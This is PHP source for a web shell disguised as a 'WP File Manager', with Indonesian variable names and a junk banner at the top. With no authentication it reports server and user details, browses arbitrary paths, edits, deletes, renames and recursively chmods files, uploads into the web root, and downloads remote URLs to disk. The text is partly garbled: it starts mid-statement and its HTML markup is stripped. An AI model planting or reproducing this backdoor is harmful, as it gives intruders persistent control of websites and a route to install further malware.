??????????????????????????????? ??????????????????????????????? ??????????????????????????????? >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>. ??????????????????????????????? ??????????????????????????????? ??????????????????????????????? ??????????????????????????????? ??????????????????????????????? ??????????????????????????????? >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>. >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< bombustikXchudiXX

NONE"; } else { $disf = "".$disfunc.""; } function author() { echo "

WP File Manager
"; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "Writable"; } else { return "Not Writable"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "Writable"; } else { return "Not Writable"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } function yellow($text) { echo "
".$text."
"; } // Helper function to format file size function formatSize($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } // Function to get file extension with icon function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '📜', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📄', 'doc' => '📝', 'docx' => '📝', 'txt' => '📃', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', 'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'exe' => '⚙️', 'msi' => '⚙️', 'sql' => '🗄️', 'xml' => '📋', 'json' => '📋', 'log' => '📋', 'htaccess' => '⚙️' ]; return isset($icons[$ext]) ? $icons[$ext] : '📄'; } // Function to get permission name function getPermissionName($perms) { $names = [ '0644' => 'File (644) - Read/Write for owner, Read for others', '0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others', '0640' => 'File (640) - Read/Write for owner, Read for group', '0664' => 'File (664) - Read/Write for owner and group, Read for others', '0777' => 'All permissions (777) - Read/Write/Execute for everyone', '0600' => 'File (600) - Read/Write for owner only', '0700' => 'Directory (700) - Read/Write/Execute for owner only', '0750' => 'Directory (750) - Read/Write/Execute for owner, Read/Execute for group', '0660' => 'File (660) - Read/Write for owner and group only', ]; return isset($names[$perms]) ? $names[$perms] : 'Custom permission'; } // WordPress-like editor with syntax highlighting function wpEditor($file_path, $content = '') { $file_info = pathinfo($file_path); $file_ext = isset($file_info['extension']) ? strtolower($file_info['extension']) : ''; $file_name = basename($file_path); // Get language for editor $lang = 'plaintext'; $syntax_exts = [ 'php' => 'php', 'html' => 'html', 'htm' => 'html', 'css' => 'css', 'js' => 'javascript', 'json' => 'json', 'xml' => 'xml', 'sql' => 'sql', 'txt' => 'plaintext', 'log' => 'plaintext', 'htaccess' => 'apache' ]; if (isset($syntax_exts[$file_ext])) { $lang = $syntax_exts[$file_ext]; } $is_binary = false; $binary_exts = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'zip', 'rar', 'exe', 'mp3', 'mp4', 'avi', 'mkv', 'bmp', 'ico', 'webp']; if (in_array($file_ext, $binary_exts)) { $is_binary = true; } $html = '
'; $html .= '
'; $html .= '

📝 Edit File: ' . htmlspecialchars($file_name) . '

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($file_path) . ''; $html .= '📊 Size: ' . formatSize(filesize($file_path)) . ''; $html .= '📝 Type: ' . strtoupper($file_ext ?: 'Plain Text') . ' ' . $lang . ''; $html .= '🔒 Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . ''; $html .= '
'; if ($is_binary) { $html .= '
'; $html .= '⚠️ This is a binary file and cannot be edited in the text editor.
'; $html .= 'View File'; $html .= '
'; $html .= '
'; return $html; } $html .= '
'; $html .= ' Saved'; $html .= 'Lines: ' . substr_count($content, "\n") . ' | Characters: ' . strlen($content) . ''; $html .= '
'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; // JavaScript for editor $html .= ''; return $html; } // CHMOD Interface function chmodInterface($path, $is_dir = false) { $current_perms = substr(sprintf('%o', fileperms($path)), -4); $perms_array = str_split($current_perms); $html = '
'; $html .= '
'; $html .= '

🔒 Change Permissions

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($path) . ''; $html .= '📂 Type: ' . ($is_dir ? 'Directory' : 'File') . ''; $html .= '🔒 Current Perm: ' . $current_perms . ' (' . getPermissionName($current_perms) . ')'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; // Permission Grid $html .= '
'; $html .= '
'; $html .= '
Read
'; $html .= '
Write
'; $html .= '
Execute
'; $rows = [ 'owner' => 'Owner', 'group' => 'Group', 'world' => 'Public' ]; $perm_bits = [ 'owner' => ['r' => 4, 'w' => 2, 'x' => 1], 'group' => ['r' => 4, 'w' => 2, 'x' => 1], 'world' => ['r' => 4, 'w' => 2, 'x' => 1] ]; $perm_values = [ 'owner' => intval($perms_array[0]), 'group' => intval($perms_array[1]), 'world' => intval($perms_array[2]) ]; foreach ($rows as $key => $label) { $html .= '
' . $label . '
'; $value = $perm_values[$key]; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; } $html .= '
'; // Presets $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; // Numeric input $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; // Recursive option for directories if ($is_dir) { $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; } $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= '
'; $html .= '
'; // JavaScript for CHMOD interface $html .= ''; return $html; } echo "Server : ".$_SERVER['SERVER_SOFTWARE']."
"; echo "System : ".php_uname()."
"; echo "User : ".@get_current_user()." ( ".@getmyuid().")
"; echo "PHP Version : ".@phpversion()."
"; echo "Disable Function : ".$disf."
"; echo "Directory :  "; foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '
'; echo '

'; // ============================================ // CREATE FILE/FOLDER FUNCTIONALITY // ============================================ if (isset($_POST['create_action'])) { if ($_POST['create_action'] == 'file') { $new_file = $lokasi . '/' . $_POST['new_filename']; if (file_exists($new_file)) { red("File already exists!"); } else { if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) { chmod($new_file, 0644); green("File created successfully! " . htmlspecialchars($_POST['new_filename']) . ""); } else { red("Failed to create file! Check permissions."); } } } elseif ($_POST['create_action'] == 'folder') { $new_folder = $lokasi . '/' . $_POST['new_foldername']; if (file_exists($new_folder)) { red("Folder already exists!"); } else { if (mkdir($new_folder, 0755)) { green("Folder created successfully! " . htmlspecialchars($_POST['new_foldername']) . ""); } else { red("Failed to create folder! Check permissions."); } } } } // ============================================ // CHMOD FUNCTIONALITY (UPDATED) // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { $chmod_path = $_POST['path']; $is_dir = is_dir($chmod_path); // Handle CHMOD submission if (isset($_POST['chm0d']) && isset($_POST['perm'])) { $perm = $_POST['perm']; $recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1; // Validate permission if (strlen($perm) == 3 || strlen($perm) == 4) { $perm = substr($perm, -3); $perm_octal = octdec($perm); if ($is_dir && $recursive) { // Recursive chmod $success = true; $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if (@chmod($item->getPathname(), $perm_octal)) { $count++; } else { $success = false; } } if ($success) { green("✅ Permissions changed successfully for " . $count . " items in " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { yellow("⚠️ Permissions changed for " . $count . " items, but some failed. Check permissions."); } } else { // Single file/directory chmod if (@chmod($chmod_path, $perm_octal)) { green("✅ Permissions changed successfully for " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { red("❌ Failed to change permissions for " . htmlspecialchars($chmod_path)); } } } else { red("❌ Invalid permission format. Please use 3 or 4 digit octal (e.g., 644, 755)"); } } // Display CHMOD interface echo chmodInterface($chmod_path, $is_dir); echo '
← Back to Directory'; author(); } // ============================================ // IMPROVED UPLOAD SECTION WITH OVERWRITE // ============================================ if (isset($_POST['upwkwk'])) { $upload_dir = $lokasi; if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") { $upload_dir = $_SERVER['DOCUMENT_ROOT']; } // Handle file upload from local machine if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) { $uploaded_file = $_FILES['berkas']; if ($uploaded_file['error'] !== UPLOAD_ERR_OK) { $error_messages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file was uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'File upload stopped by extension', ]; red("Upload Error: " . ($error_messages[$uploaded_file['error']] ?? 'Unknown error')); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { // Get the original filename $filename = $uploaded_file['name']; // Remove special characters for safety $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $filename); $destination = $upload_dir . '/' . $filename; // Check if file exists and show overwrite warning $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize($uploaded_file['size']); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } // Move uploaded file (overwrite if exists) if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ File uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to move uploaded file. Check permissions."); } } } } // Handle remote URL upload elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) { if (empty($_POST['namalink'])) { red("Filename cannot be empty!"); } else { $remote_filename = $_POST['namalink']; $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $remote_filename); $remote_content = @file_get_contents($_POST['darilink']); if ($remote_content === false) { red("Failed to fetch remote file. Check URL is accessible."); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { $destination = $upload_dir . '/' . $remote_filename; // Check if file exists $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize(strlen($remote_content)); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } if (file_put_contents($destination, $remote_content) !== false) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ Remote file uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($remote_filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to save remote file. Check directory permissions."); } } } } } else { red("No file selected or file upload failed."); } } // ============================================ // WORDPRESS-LIKE FILE EDITOR // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { $file_path = $_POST['path']; // Handle file save if (isset($_POST['gasedit']) && isset($_POST['src'])) { $content = $_POST['src']; // Check if content is different $old_content = file_exists($file_path) ? file_get_contents($file_path) : ''; if ($content === $old_content) { green("ℹ️ No changes detected. File saved as is."); } else { if (file_put_contents($file_path, $content) !== false) { green("✅ File saved successfully! View File"); } else { red("❌ Failed to save file! Check permissions."); } } } // Display editor $file_content = file_exists($file_path) ? file_get_contents($file_path) : ''; echo wpEditor($file_path, $file_content); echo '
← Back to Directory'; // Continue after edit view author(); } // Handle delete from editor if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file)) { if (unlink($delete_file)) { green("🗑️ File deleted successfully!"); } else { red("Failed to delete file!"); } } // Redirect back to directory echo ''; author(); } // ============================================ // DISPLAY UPLOAD AND CREATE FORMS // ============================================ echo "
"; echo "
"; // Create File/Folder Form echo '
'; echo '📁 Create New:
'; echo '
'; echo ' '; echo ' '; echo ''; echo ''; echo '
'; echo '
'; echo ' '; echo ''; echo ''; echo '
'; echo '
'; // Upload Form echo '
'; echo '⬆️ Upload File:
'; echo '
'; echo ' Current Dir [ ' . cekdir() . ' ] '; echo ' Root [ ' . cekroot() . ' ]
'; echo ''; echo ''; echo ''; echo '

OR Upload from URL:
'; echo 'URL: '; echo ' Save as: '; echo ''; echo '
'; echo '
'; echo "
"; echo "
"; echo "

"; // ============================================ // FILE VIEWER // ============================================ if (isset($_GET['fileloc'])) { $file_path = $_GET['fileloc']; echo ""; echo "
"; echo "

📄 File: " . htmlspecialchars(basename($file_path)) . "

"; echo "

Path: " . htmlspecialchars($file_path) . "

"; echo "

Size: " . formatSize(filesize($file_path)) . "

"; echo "

Permissions: " . substr(sprintf('%o', fileperms($file_path)), -4) . "

"; // Check if it's a binary/image file $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $image_exts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg']; $viewable_exts = ['php', 'html', 'htm', 'css', 'js', 'txt', 'xml', 'json', 'sql', 'log']; if (in_array($ext, $image_exts)) { echo "
"; echo ""; echo "
"; } elseif (in_array($ext, $viewable_exts)) { echo "
";
        echo htmlspecialchars(file_get_contents($file_path));
        echo "
"; } else { echo "
"; echo "⚠️ Binary file - cannot display content
"; echo "Download File"; echo "
"; } echo "
← Back to Directory"; echo " Edit File"; echo " 🔒 Chmod"; echo "
"; echo ""; author(); } // ============================================ // HANDLE OTHER ACTIONS (DELETE, RENAME) // ============================================ elseif (isset($_GET['pilihan'])) { if ($_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete Directory!"); } else { green("Delete Directory Success!"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to Delete File!"); } else { green("Delete File Success!"); } } } elseif ($_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Change Name Success!"); } else { red("Change Name Failed!"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "
" . $_POST['path'] . "
"; echo '
New Name :
'; } } // ============================================ // DISPLAY FILE LISTING // ============================================ echo '
'; // Show directories first foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; // Show files foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; } else { $size = $size.' KB'; } $icon = getFileIcon($file); echo ""; } echo '
Name
Size
Permissions
Options
📁 " . $dir . "
--
"; if(is_writable($lokasi."/".$dir)) echo ''; elseif(!is_readable($lokasi."/".$dir)) echo ''; echo statusnya($lokasi."/".$dir); if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo ''; echo "
\" />
" . $icon . " " . $file . "
" . $size . "
"; if(is_writable("$lokasi/$file")) echo ''; elseif(!is_readable("$lokasi/$file")) echo ''; echo statusnya("$lokasi/$file"); if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo ''; echo "
\" />
'; author(); function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) { $ingfo = 's'; } elseif (($statusnya & 0xA000) == 0xA000) { $ingfo = 'l'; } elseif (($statusnya & 0x8000) == 0x8000) { $ingfo = '-'; } elseif (($statusnya & 0x6000) == 0x6000) { $ingfo = 'b'; } elseif (($statusnya & 0x4000) == 0x4000) { $ingfo = 'd'; } elseif (($statusnya & 0x2000) == 0x2000) { $ingfo = 'c'; } elseif (($statusnya & 0x1000) == 0x1000) { $ingfo = 'p'; } else { $ingfo = 'u'; } // Owner $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); // Group $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); // World $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); return $ingfo; } ?>